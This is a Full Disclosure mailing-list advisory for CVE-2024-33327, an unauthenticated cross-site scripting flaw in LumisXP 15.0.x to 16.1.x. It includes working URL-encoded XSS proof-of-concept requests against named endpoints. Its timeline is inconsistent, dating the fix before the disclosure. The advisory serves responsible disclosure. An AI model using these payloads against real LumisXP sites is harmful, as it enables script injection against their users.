Message-ID: <CAFOz53dxSq5PAY4p7iNcV6Q=JCpUQ3a76ruZ3GOcoBtuRwy7iA@mail.gmail.com>
Date: Tue, 9 Jul 2024 16:57:54 -0300
From: Rodolfo Tavares via Fulldisclosure <fulldisclosure@...lists.org>
To: fulldisclosure@...lists.org
Subject: [FD] CVE-2024-33327

=====[ Tempest Security Intelligence - ADV-6/2024
]==========================

LumisXP v15.0.x to v16.1.x

Author: Rodolfo Tavares

Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]==================================================
 * Overview
 * Detailed description
 * Timeline of disclosure
 * Thanks & Acknowledgements
 * References

=====[ Vulnerability
Information]=============================================
 * Class: Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting')
 ('Improper Neutralization of Input During Web Page Generation ('Cross-site
Scripting')') [CWE-79]

 * CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N - 5.4

=====[ Overview]========================================================
 * System affected : LumisXP
 * Software Version : Version - v15.0.x to v16.1.x
 * Impacts :
 * Vulnerability: Lumisxp versions 15.0.x to 16.1.x have an unauthenticated
XSS vulnerability in the UrlAccessibilityEvaluation.jsp page, specifically
in the contentHtml parameter.

=====[ Detailed
description]=================================================
* XSS [GET
/main.jsp?lumChannelId=00000000F00000000000000000000002&lumPageId=LumisBlankPage&lumRTI=lumis.service.doui.selectstructureelement.selectPage&pageId=%22%2c%20print()%2c%0d%22aaa
]:

1 - Send the link by inserting the XSS payload into the contentHtml=
parameter.

```
GET
/lumis/service/htmlevaluation/UrlAccessibilityEvaluation.jsp?contentHtml=%3cp%3e%3ci%20id%3d%22run-code-button%22%20lang%3d%22xml%22%20title%3d%22Run%20Code%20and%20See%20Output%22%3e%3c%2fi%3e%3c%2fp%3e%0a%0a%3cp%3e%3ci%20title%3d%22Light%20Mode%22%3e%3c%2fi%3e%3c%2fp%3e%0a%0a%3ctable%20border%3d%220%22%20cellpadding%3d%220%22%20cellspacing%3d%220mmdfn%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt

```
2 - Verify that in the response your payload will be executed.


=====[ Timeline of
disclosure]===============================================

 2/Apr/2024 - Responsible disclosure was initiated with the vendor.
 12/Apr/2024 - LumisXP Support confirmed the issue;
 16/Fev/2024 - The vendor fixed the vulnerability
 29/May/2024 - CVEs was assigned and reserved as CVE-2024-33327

=====[ Thanks & Acknowledgements]========================================
 * Tempest Security Intelligence [1]
 * Rodolfo Tavares
 * Niklas Correa

=====[ References ]=====================================================

 [1][ [https://cwe.mitre.org/data/definitions/79.html]
 [2][ [https://www.tempest.com.br|https://www.tempest.com.br/]]
 [3][Thanks Filipe X.]

=====[ EOF ]===========================================================

--

-- 

*Esta mensagem é para uso exclusivo de seu destinatário e pode conter 
informações privilegiadas e confidenciais. Todas as informações aqui 
contidas devem ser tratadas como confidenciais e não devem ser divulgadas a 
terceiros sem o prévio consentimento por escrito da Tempest. Se você não é 
o destinatário não deve distribuir, copiar ou arquivar a mensagem. Neste 
caso, por favor, notifique o remetente da mesma e destrua imediatamente a 
mensagem.*

*
*
*This message is intended solely for the use of its 
addressee and may contain privileged or confidential information. All 
information contained herein shall be treated as confidential and shall not 
be disclosed to any third party without Tempest’s prior written approval. 
If you are not the addressee you should not distribute, copy or file this 
message. In this case, please notify the sender and destroy its contents 
immediately.**
*
*
*
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Powered by blists - more mailing lists